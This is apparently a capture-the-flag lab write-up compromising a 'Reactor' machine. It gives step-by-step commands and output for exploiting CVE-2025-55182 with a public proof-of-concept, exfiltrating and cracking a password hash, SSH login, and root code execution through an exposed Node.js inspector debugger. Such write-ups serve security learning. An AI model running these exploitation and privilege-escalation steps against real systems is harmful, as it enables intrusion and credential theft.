Reactor
About #
Reactor is an easy-difficulty Linux machine built around a ReactorWatch nuclear-monitoring dashboard, a Next.js 15.0.3 / React 19.0.0 application exposed on port 3000. The stack is vulnerable to CVE-2025-55182 better known as React2Shell, an unsafe-deserialization flaw in React Server Components that grants unauthenticated remote code execution. Using a public proof-of-concept, we obtain a foothold as the low-privileged node service account. From there, we enumerate the application directory, recover a SQLite database containing user records, and crack an MD5 password hash to obtain valid SSH credentials for the engineer user. Privilege escalation abuses a root-owned monitoring service that was launched with the Node.js --inspect debugger flag bound to a local port. By tunneling to that debug port and driving it through the V8 inspector protocol, we execute code as root and escalate to a full root shell.
Initial Scan #
The IP provided for the system was 10.129.245.214. First I performed an NMAP scan. sudo NMAP -sS -Pn -p- -sV -oN reactor 10.129.245.214 -v
- -sS : does a TCP SYN scan. When the target system responds with a SYN/ACK flag, NMAP ends the connection instead of completing the 3-way handshake, making the scan faster.
- -Pn : NMAP doesn't ping the target and assumes it's alive.
- -p- : does a scan on all 65,535 ports. This can uncover uncommon ports used for a common service. Sometimes this can take a while, so use this for a coffee break.
- -sV : scans the open ports for the version of the service they use
- -oN reactor : prints the results to an NMAP file named reactor. This is useful when needing to reference the results.
The results for the scan were:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
3000/tcp open ppp?
Reactor Watch #
Going to 10.129.245.214:3000 in Firefox took me to a REACTORWATCH page. I didn't find anything interesting here.
From the About section, this target was vulnerable to CVE-2025-55182, commonly known as React2Shell. Here is the proof of concept I used to exploit the system. Since this is an older and widely known vulnerability, there are countless POCs to use.
I used git clone https://github.com/ThemeHackers/CVE-2025-55182 to download a copy of the POC. My first attempt using the exploit returned an error.
python3 CVE-2025-55182.py -u 10.129.245.214:3000
React2Shell Scanner - CVE-2025-55182/CVE-2025-66478
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[ERROR] 10.129.245.214:3000 - SSL Error: HTTPSConnectionPool(host='10.129.245.214', port=3000): Max retries exceeded with url: / (Caused by SSLError(SSLError(1, '[SSL:
WRONG_VERSION_NUMBER] wrong version number (_ssl.c:1127)')))
| Category |Count |
|------------------|-------|
| Total Scanned | 1 |
| Vulnerable | 0 |
| Potential Bypass | 0 |
| Not Vulnerable | 0 |
| Errors | 1 |
The next time, I specified "http" before the IP and the output showed the target was vulnerable.
python3 CVE-2025-55182.py -u http://10.129.245.214:3000
React2Shell Scanner - CVE-2025-55182/CVE-2025-66478
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[DEBUG] Elapsed: 0.16s (Variant: None)
[VULNERABLE] http://10.129.245.214:3000 - RCE Confirmed!
=== HTTP Request ===
POST http://10.129.245.214:3000/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Next-Action: 007138e0bfbdd7fe024391a1251fd5861f0b5145dc
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 720
--SNIP--
=== HTTP Response ===
Status: 303
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
cache-control: private, no-cache, no-store, max-age=0, must-revalidate
x-action-revalidated: [[],0,0]
x-action-redirect: /login?a=MTExMTEK;push
content-type: text/x-component
date: Fri, 09 Oct 2026 15:24:59 GMT
x-nextjs-cache: HIT
x-nextjs-prerender: 1
X-Powered-By: Next.js
Content-Encoding: gzip
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
---SNIP---
[VULNERABLE] http://10.129.245.214:3000 - Status: 303
Scan Summary
| Category |Count |
|------------------|-------|
| Total Scanned | 1 |
| Vulnerable | 1 |
| Potential Bypass | 0 |
| Not Vulnerable | 0 |
| Errors | 0 |
Using the --exploit flag, I was able to get an exploit shell.
python3 CVE-2025-55182.py -u http://10.129.245.214:3000 --exploit
React2Shell Scanner - CVE-2025-55182/CVE-2025-66478
[*] Starting interactive shell on http://10.129.245.214:3000
[*] Type 'exit' or 'quit' to stop
Shell> pwd
/opt/reactor-app
Shell> id
uid=999(node) gid=988(node) groups=988(node)
Shell>
Exploit Shell #
Running ls -al showed a .env file. When it was read, there was a DB_PATH pointing to the reactor.db I saw and an API key. Running the file command against the database, file showed it was an SQLite 3 database.
Shell> ls -al
total 76
drwxr-xr-x 5 node node 4096 Dec 28 2025 .
drwxr-xr-x 4 root root 4096 Apr 27 11:26 ..
drwxr-xr-x 2 node node 4096 Dec 28 2025 app
-rw-r--r-- 1 node node 276 Dec 28 2025 .env
drwxr-xr-x 7 node node 4096 Dec 28 2025 .next
-rw-r--r-- 1 node node 172 Dec 28 2025 next.config.js
drwxr-xr-x 30 node node 4096 Dec 28 2025 node_modules
-rw-r--r-- 1 node node 269 Dec 28 2025 package.json
-rw-r--r-- 1 node node 29329 Dec 28 2025 package-lock.json
-rw-r----- 1 node node 12288 Dec 28 2025 reactor.db
Shell> cat .env
# ReactorWatch Configuration
# Database connection for sensor data
DB_PATH=/opt/reactor-app/reactor.db
DB_TYPE=sqlite3
# API Keys
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
ALERT_WEBHOOK=https://alerts.internal.reactor.htb/webhook
# Node environment
NODE_ENV=production
Shell> file reactor.db
reactor.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 7, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 7
When I ran sqlite3 reactor.db, nothing happened. This is when I decided to copy the database to my system to read it. I tried multiple ways to copy the database file over using different combinations of nc and python -m serverupload as well as a few reverse shells, but nothing worked. Finally, I tried a copy and paste using base64 encode/decode.
cat reactor.db | base64 -w 0;echo
U1FMaXRlIGZvcm1hdCAzABAAAQEAQCAgAAAABwAAAAMAAAAAAAAAAAAAAAIAAAAEAAAAAAAAAAAAAAABA
---SNIP---
OT01JTkFMNAEGADMlBxsyMDI1LTEyLTI4IDE0OjMyOjAxQ09SRV9URU1QXzAxQHRIAAAAAABOT01JTkFM
After using vim to create reactor_db_encode on my system, I pasted the base 64 output to it. Next I decoded the file and sent the output to reactor.db. Finally I hashed both database files using SHA1 to verify they were the same.
cat ractor_db_encode| base64 -d > reactor.db
kali $ sha1sum reactor.db
038cec887ecb77aec03ada4cf4a56eefc659c0b4 reactor.db
Shell> sha1sum reactor.db
038cec887ecb77aec03ada4cf4a56eefc659c0b4 reactor.db
Having an exact copy of the database on my system, I was able to load it and saw password hashes for admin and engineer.
sqlite3 reactor.db
SQLite version 3.53.4 2026-07-24 19:02:57
Enter ".help" for usage hints.
sqlite> .tables
sensor_logs users
sqlite> select * from users;
| id | username | password_hash | role | email |
| 1 | admin | a203b22191d744a4e70ada5c101b17b8 | administrator | admin@reactor.htb |
| 2 | engineer | 39d97110eafe2a9a68639812cd271e8e | operator | engineer@reactor.htb |
sqlite>
I put the hashes in a text file called hashes.txt. Then, to make sure I used the right mode, I checked the HashCat site and used the rockyou wordlist.
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
---SNIP---
39d97110eafe2a9a68639812cd271e8e:reactor1
The clear text password for engineer was reactor1.
SSH with engineer #
When the initial scan was done, NMAP showed SSH port 22 was open, so I tried ssh engineer@10.129.245.214 using the password reactor1. I was able to get an SSH shell and retrieve the user flag.
ssh engineer@10.129.245.214
The authenticity of host '10.129.245.214 (10.129.245.214)' can't be established.
ED25519 key fingerprint is: SHA256:9v9mCPC4gn2EN/IbKKwhV8KZoNVTsVPorFhlTkNByPM
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.245.214' (ED25519) to the list of known hosts.
engineer@10.129.245.214's password:
____ _____ _ ____ _____ ___ ____
| _ \| ____| / \ / ___|_ _/ _ \| _ \
| |_) | _| / _ \| | | || | | | |_) |
| _ <| |___ / ___ \ |___ | || |_| | _ <
|_| \_\_____/_/ \_\____| |_| \___/|_| \_\
ReactorWatch Core Monitoring System
Nuclear Dynamics Corp. - Site 7
AUTHORIZED PERSONNEL ONLY
Last login: Fri Oct 9 17:14:44 2026 from 10.10.17.138
engineer@reactor:~$ ls
user.txt
engineer@reactor:~$ cat user.txt
<USER FLAG>
engineer@reactor:~$
From here, I moved to privilege escalation.
Privilege Escalation to Root #
Not sure where to go from here, I used this walk-through to help me out.
I used Socket Statistics to get an overview of the connections on the target system.
engineer@reactor:~$ ss -tnlp
- t : shows only TCP sockets
- n : don't resolve service names
- l : display listening sockets
- p : show process using socket
| State | Recv-Q | Send-Q | Local Address:Port | Peer Address:Port | Process |
|---|---|---|---|---|---|
| LISTEN | 0 | 4096 | 127.0.0.53%lo:53 | 0.0.0.0:* | |
| LISTEN | 0 | 511 | 127.0.0.1:9229 | 0.0.0.0:* | |
| LISTEN | 0 | 4096 | 0.0.0.0:22 | 0.0.0.0:* | |
| LISTEN | 0 | 4096 | 127.0.0.54:53 | 0.0.0.0:* | |
| LISTEN | 0 | 4096 | [::]:22 | [::]:* | |
| LISTEN | 339 | 511 | *:3000 | : |
According to the Node.js website, the inspector client's default port is 9229 and can be accessed using http://localhost:<inspect-port>/json/list.
In the SSH terminal, I ran the curl command and received a response.
engineer@reactor:~$ curl http://localhost:9229/json/list
[ {
"description": "node.js instance",
"devtoolsFrontendUrl": "devtools://devtools/bundled/js_app.html?experiments=true&v8only=true&ws=localhost:9229/bda31f32-dda5-4961-8bb2-79ebcf854dee",
"devtoolsFrontendUrlCompat": "devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=localhost:9229/bda31f32-dda5-4961-8bb2-79ebcf854dee",
"faviconUrl": "https://nodejs.org/static/images/favicons/favicon.ico",
"id": "bda31f32-dda5-4961-8bb2-79ebcf854dee",
"title": "/opt/uptime-monitor/worker.js",
"type": "node",
"url": "file:///opt/uptime-monitor/worker.js",
"webSocketDebuggerUrl": "ws://localhost:9229/bda31f32-dda5-4961-8bb2-79ebcf854dee"
} ]
Curl showed that the debugger was accessible, and running node inspect 127.0.0.1:9229 started it.
engineer@reactor:~$ node inspect 127.0.0.1:9229
connecting to 127.0.0.1:9229 ... ok
To better understand what the next commands were doing, here is a breakdown:
exec("process.mainModule.require('child_process').execSync('whoami').toString()")
- process.mainModule : accesses the entry point to the module
- .require('child_process') : imports the child_process module
- Those turn into
child_process.execSync()and execute thecommandinto a buffer - toString() : converts the buffer into text
- exec : wraps everything to be executed in Node.js's debugger
After I verified I was root, I read the root flag.
debug> exec("process.mainModule.require('child_process').execSync('whoami').toString()")
'root\n'
debug> exec("process.mainModule.require('child_process').execSync('cat /root/root.txt').toString()")
'<ROOT FLAG>\n'